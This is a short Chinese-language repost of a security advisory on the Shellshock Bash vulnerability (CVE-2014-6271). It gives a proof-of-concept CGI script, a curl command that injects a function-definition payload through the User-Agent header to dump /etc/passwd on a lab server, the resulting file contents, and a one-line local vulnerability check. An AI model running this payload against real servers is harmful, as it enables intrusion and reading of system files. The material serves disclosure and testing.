linux bash bug

转载于：http://zone.wooyun.org/content/15392

from:https://www.invisiblethreat.ca/2014/09/cve-2014-6271/ 

今日Bash爆出远程解析命令执行漏洞（CVE-2014-6271），波及各大Linux发行版与MacOSX系统。漏洞可以直接在Bash支持的Web CGI环境下远程执行任意命令！一些路由器、堡垒机、×××等网络设备也可能会是影响重灾区。目前乌云君已经发现互联网存在的案例，会持续跟进中 http://t.cn/RhjFRmc

收起|查看大图|向左转|向右转

poc.cgi 
#!/bin/bash 
echo "Content-type: text/html" 
echo "" 
echo '' 
echo '' 
echo '' 
echo '' 
echo '' 
echo '' 
echo '

' 
/usr/bin/env 
echo '

' 
echo '' 
echo '' 
exit 0

$ curl -A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://192.168.0.1/poc.cgi 
 
 
 
 

Internal Server Error

 

The server encountered an internal error or 
misconfiguration and was unable to complete 
your request.

 

Please contact the server administrator, 
webmaster@localhost and inform them of the time the error occurred, 
and anything you might have done that may have 
caused the error.

 

More information about this error may be available 
in the server error log.

 

---

 

Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80

 


$ curl http://192.168.0.1/dumped_file 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/bin/sh 
man:x:6:12:man:/var/cache/man:/bin/sh 
lp:x:7:7:lp:/var/spool/lpd:/bin/sh 
mail:x:8:8:mail:/var/mail:/bin/sh 
news:x:9:9:news:/var/spool/news:/bin/sh 
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
list:x:38:38:Mailing List Manager:/var/list:/bin/sh 
irc:x:39:39:ircd:/var/run/ircd:/bin/sh 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 
libuuid:x:100:101::/var/lib/libuuid:/bin/sh 
Debian-exim:x:101:103::/var/spool/exim4:/bin/false 
statd:x:102:65534::/var/lib/nfs:/bin/false 
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

 env x='() { :;}; echo vulnerable' bash -c "echo this is a test"